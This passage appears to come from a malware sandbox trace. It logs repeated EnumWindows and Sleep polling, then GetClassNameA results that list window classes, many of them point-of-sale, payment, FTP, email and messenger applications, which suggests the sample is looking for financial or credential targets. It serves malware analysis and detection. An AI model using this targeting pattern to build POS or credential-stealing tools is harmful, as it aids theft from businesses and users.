[0195.738] Sleep (dwMilliseconds=0x64) [0195.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.761] Sleep (dwMilliseconds=0x64) [0195.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.847] Sleep (dwMilliseconds=0x64) [0195.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.850] Sleep (dwMilliseconds=0x64) [0195.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.851] Sleep (dwMilliseconds=0x64) [0195.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.853] Sleep (dwMilliseconds=0x64) [0195.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.857] Sleep (dwMilliseconds=0x64) [0195.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.860] Sleep (dwMilliseconds=0x64) [0195.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.862] Sleep (dwMilliseconds=0x64) [0195.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.864] Sleep (dwMilliseconds=0x64) [0195.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.866] Sleep (dwMilliseconds=0x64) [0195.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.899] Sleep (dwMilliseconds=0x64) [0196.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.057] Sleep (dwMilliseconds=0x64) [0196.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.060] Sleep (dwMilliseconds=0x64) [0196.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.064] Sleep (dwMilliseconds=0x64) [0196.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.066] Sleep (dwMilliseconds=0x64) [0196.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.073] Sleep (dwMilliseconds=0x64) [0196.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.087] Sleep (dwMilliseconds=0x64) [0196.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.195] Sleep (dwMilliseconds=0x64) [0196.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.204] Sleep (dwMilliseconds=0x64) [0196.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.212] Sleep (dwMilliseconds=0x64) [0196.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.225] Sleep (dwMilliseconds=0x64) [0196.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.354] Sleep (dwMilliseconds=0x64) [0196.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.357] Sleep (dwMilliseconds=0x64) [0196.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.359] Sleep (dwMilliseconds=0x64) [0196.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.361] Sleep (dwMilliseconds=0x64) [0196.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.365] Sleep (dwMilliseconds=0x64) [0196.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.367] Sleep (dwMilliseconds=0x64) [0196.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.369] Sleep (dwMilliseconds=0x64) [0196.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.371] Sleep (dwMilliseconds=0x64) [0196.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.373] Sleep (dwMilliseconds=0x64) [0196.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.375] Sleep (dwMilliseconds=0x64) [0196.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.377] Sleep (dwMilliseconds=0x64) [0196.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.381] Sleep (dwMilliseconds=0x64) [0196.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.383] Sleep (dwMilliseconds=0x64) [0196.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.487] Sleep (dwMilliseconds=0x64) [0196.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.489] Sleep (dwMilliseconds=0x64) [0196.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.491] Sleep (dwMilliseconds=0x64) [0196.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.494] Sleep (dwMilliseconds=0x64) [0196.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.496] Sleep (dwMilliseconds=0x64) [0196.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.499] Sleep (dwMilliseconds=0x64) [0196.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.501] Sleep (dwMilliseconds=0x64) [0196.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.504] Sleep (dwMilliseconds=0x64) [0196.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.506] Sleep (dwMilliseconds=0x64) [0196.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.534] Sleep (dwMilliseconds=0x64) [0196.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.679] Sleep (dwMilliseconds=0x64) [0196.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.691] Sleep (dwMilliseconds=0x64) [0196.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.784] Sleep (dwMilliseconds=0x64) [0196.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.797] Sleep (dwMilliseconds=0x64) [0196.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.830] Sleep (dwMilliseconds=0x64) [0196.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0196.926] Sleep (dwMilliseconds=0x64) [0197.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0197.116] Sleep (dwMilliseconds=0x64) [0197.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0197.118] Sleep (dwMilliseconds=0x64) [0197.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0197.309] Sleep (dwMilliseconds=0x64) [0197.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0197.384] Sleep (dwMilliseconds=0x64) [0198.542] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.543] Sleep (dwMilliseconds=0x64) [0198.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.605] Sleep (dwMilliseconds=0x64) [0198.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.656] Sleep (dwMilliseconds=0x64) [0198.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.716] Sleep (dwMilliseconds=0x64) [0198.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.718] Sleep (dwMilliseconds=0x64) [0198.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.720] Sleep (dwMilliseconds=0x64) [0198.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.722] Sleep (dwMilliseconds=0x64) [0198.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.727] Sleep (dwMilliseconds=0x64) [0198.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.729] Sleep (dwMilliseconds=0x64) [0198.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.730] Sleep (dwMilliseconds=0x64) [0198.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.733] Sleep (dwMilliseconds=0x64) [0198.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.734] Sleep (dwMilliseconds=0x64) [0198.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.737] Sleep (dwMilliseconds=0x64) [0198.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.738] Sleep (dwMilliseconds=0x64) [0198.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.741] Sleep (dwMilliseconds=0x64) [0198.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0198.816] Sleep (dwMilliseconds=0x64) [0198.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) returned 1 [0198.856] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0198.856] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0198.856] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0198.857] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0198.857] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0198.857] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0198.857] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0198.857] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0198.857] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0198.857] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0198.857] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0198.857] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0198.857] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0198.857] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0198.857] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.857] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0198.857] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0198.857] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0198.858] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0198.858] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0198.858] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x100b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x100bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x100c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x10084, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x10090, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x100ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.858] GetClassNameA (in: hWnd=0x20078, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0198.858] GetClassNameA (in: hWnd=0x101dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0198.858] GetClassNameA (in: hWnd=0x100d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.859] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0198.859] GetClassNameA (in: hWnd=0x40132, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0198.859] GetClassNameA (in: hWnd=0x202e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0198.859] GetClassNameA (in: hWnd=0x2024c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0198.859] GetClassNameA (in: hWnd=0x2026a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-006BD5C8-8b7ad90") returned 28 [0198.859] GetClassNameA (in: hWnd=0x202ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0198.859] GetClassNameA (in: hWnd=0x20298, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.859] GetClassNameA (in: hWnd=0x10340, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="AnalysisDemocratcls") returned 19 [0198.859] GetClassNameA (in: hWnd=0x1033e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="largecls") returned 8 [0198.859] GetClassNameA (in: hWnd=0x10310, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="edcsvrapp") returned 9 [0198.859] GetClassNameA (in: hWnd=0x1032e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="utg2class") returned 9 [0198.859] GetClassNameA (in: hWnd=0x10328, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spgagentservice_window") returned 22 [0198.860] GetClassNameA (in: hWnd=0x102fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ccv_server_app") returned 14 [0198.860] GetClassNameA (in: hWnd=0x1032a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0198.860] GetClassNameA (in: hWnd=0x10320, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="mxslipstreamapp") returned 15 [0198.860] GetClassNameA (in: hWnd=0x102f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0198.860] GetClassNameA (in: hWnd=0x10322, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="omniposwnd") returned 10 [0198.860] GetClassNameA (in: hWnd=0x10314, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="issposclass") returned 11 [0198.860] GetClassNameA (in: hWnd=0x102f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="accupos_window") returned 14 [0198.860] GetClassNameA (in: hWnd=0x10312, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="fpos_window") returned 11 [0198.860] GetClassNameA (in: hWnd=0x1033a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.860] GetClassNameA (in: hWnd=0x10308, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="centralcreditcardapp") returned 20 [0198.860] GetClassNameA (in: hWnd=0x10304, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="creditserviceclass") returned 18 [0198.860] GetClassNameA (in: hWnd=0x102da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="winscpapp") returned 9 [0198.861] GetClassNameA (in: hWnd=0x102f4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="aldeloapp") returned 9 [0198.861] GetClassNameA (in: hWnd=0x102d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0198.861] GetClassNameA (in: hWnd=0x102e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_window") returned 21 [0198.861] GetClassNameA (in: hWnd=0x102e4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="active-chargeapp") returned 16 [0198.861] GetClassNameA (in: hWnd=0x102ce, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="whatsappapp") returned 11 [0198.861] GetClassNameA (in: hWnd=0x102d0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0198.861] GetClassNameA (in: hWnd=0x102ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="scriptftpapp") returned 12 [0198.861] GetClassNameA (in: hWnd=0x102c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0198.861] GetClassNameA (in: hWnd=0x102bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="skypeclass") returned 10 [0198.862] GetClassNameA (in: hWnd=0x102a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="operamailwindow") returned 15 [0198.862] GetClassNameA (in: hWnd=0x102ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="smartftp_wnd") returned 12 [0198.862] GetClassNameA (in: hWnd=0x102b0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0198.862] GetClassNameA (in: hWnd=0x102aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="outlookwnd") returned 10 [0198.862] GetClassNameA (in: hWnd=0x102a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="notepadapp") returned 10 [0198.862] GetClassNameA (in: hWnd=0x1028a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0198.862] GetClassNameA (in: hWnd=0x10294, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ncftp") returned 5 [0198.862] GetClassNameA (in: hWnd=0x10288, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="leechftpcls") returned 11 [0198.862] GetClassNameA (in: hWnd=0x10274, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flingclass") returned 10 [0198.862] GetClassNameA (in: hWnd=0x10280, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="gmailnotifierproapp") returned 19 [0198.862] GetClassNameA (in: hWnd=0x1026c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="filezilla") returned 9 [0198.862] GetClassNameA (in: hWnd=0x10282, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_cls") returned 18 [0198.862] GetClassNameA (in: hWnd=0x10272, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flashfxp_class") returned 14 [0198.863] GetClassNameA (in: hWnd=0x1025e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="farapp") returned 6 [0198.863] GetClassNameA (in: hWnd=0x10262, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="coreftp") returned 7 [0198.863] GetClassNameA (in: hWnd=0x10258, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0198.863] GetClassNameA (in: hWnd=0x1025a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="bitkinexcls") returned 11 [0198.863] GetClassNameA (in: hWnd=0x10252, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0198.863] GetClassNameA (in: hWnd=0x10250, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_class") returned 20 [0198.863] GetClassNameA (in: hWnd=0x10248, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="3dftp_wnd") returned 9 [0198.863] GetClassNameA (in: hWnd=0x10242, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="up_guess_class") returned 14 [0198.863] GetClassNameA (in: hWnd=0x1021c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Strategyplayerownerwnd") returned 22 [0198.863] GetClassNameA (in: hWnd=0x1022a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Talk_class") returned 10 [0198.863] GetClassNameA (in: hWnd=0x10222, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="loss_Necessary_app") returned 18 [0198.863] GetClassNameA (in: hWnd=0x10224, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="safewindow") returned 10 [0198.864] GetClassNameA (in: hWnd=0x10218, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="now_Third_window") returned 16 [0198.864] GetClassNameA (in: hWnd=0x10212, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cup_cls") returned 7 [0198.864] GetClassNameA (in: hWnd=0x10206, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="second_Position_home_wnd") returned 24 [0198.864] GetClassNameA (in: hWnd=0x10226, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="agent_window") returned 12 [0198.864] GetClassNameA (in: hWnd=0x10210, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Hementionnewswindow") returned 19 [0198.864] GetClassNameA (in: hWnd=0x10204, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="High") returned 4 [0198.864] GetClassNameA (in: hWnd=0x301fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Another_artist_window") returned 21 [0198.864] GetClassNameA (in: hWnd=0x2018e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cover_More_cls") returned 14 [0198.864] GetClassNameA (in: hWnd=0x401f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Along") returned 5 [0198.864] GetClassNameA (in: hWnd=0x3002e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="teamMaintainwnd") returned 15 [0198.865] GetClassNameA (in: hWnd=0x20138, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.865] GetClassNameA (in: hWnd=0x30032, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.865] GetClassNameA (in: hWnd=0x2015c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.865] GetClassNameA (in: hWnd=0x6003e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0198.865] GetClassNameA (in: hWnd=0x30194, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.865] GetClassNameA (in: hWnd=0x2027c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.865] GetClassNameA (in: hWnd=0x20124, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0198.865] GetClassNameA (in: hWnd=0x20126, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0198.865] GetClassNameA (in: hWnd=0x20196, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0198.865] GetClassNameA (in: hWnd=0x400f8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.865] GetClassNameA (in: hWnd=0x501ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.865] GetClassNameA (in: hWnd=0x101d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.865] GetClassNameA (in: hWnd=0x101d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.865] GetClassNameA (in: hWnd=0x101d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.866] GetClassNameA (in: hWnd=0x101c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0198.866] GetClassNameA (in: hWnd=0x101c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.866] GetClassNameA (in: hWnd=0x101b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0198.866] GetClassNameA (in: hWnd=0x101ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0198.866] GetClassNameA (in: hWnd=0x101aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.866] GetClassNameA (in: hWnd=0x10148, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0198.866] GetClassNameA (in: hWnd=0x10118, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0198.866] GetClassNameA (in: hWnd=0x1010e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.866] GetClassNameA (in: hWnd=0x10116, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0198.867] GetClassNameA (in: hWnd=0x101a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.867] GetClassNameA (in: hWnd=0x101a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.867] GetClassNameA (in: hWnd=0x10114, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0198.867] GetClassNameA (in: hWnd=0x1010c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0198.867] GetClassNameA (in: hWnd=0x100ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0198.867] GetClassNameA (in: hWnd=0x100ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0198.867] GetClassNameA (in: hWnd=0x100e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.867] GetClassNameA (in: hWnd=0x100e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.867] GetClassNameA (in: hWnd=0x100de, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.867] GetClassNameA (in: hWnd=0x200d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0198.867] GetClassNameA (in: hWnd=0x100be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0198.867] GetClassNameA (in: hWnd=0xc0240, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0198.867] GetClassNameA (in: hWnd=0x20020, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0198.867] GetClassNameA (in: hWnd=0x30016, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0198.867] GetClassNameA (in: hWnd=0x20028, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0198.868] GetClassNameA (in: hWnd=0x2004a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0198.868] GetClassNameA (in: hWnd=0x100aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0198.868] GetClassNameA (in: hWnd=0x10072, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0198.868] GetClassNameA (in: hWnd=0x1006e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0198.868] GetClassNameA (in: hWnd=0x10022, lpClassName=0xfe4fd50, nMaxCount=260 | out: 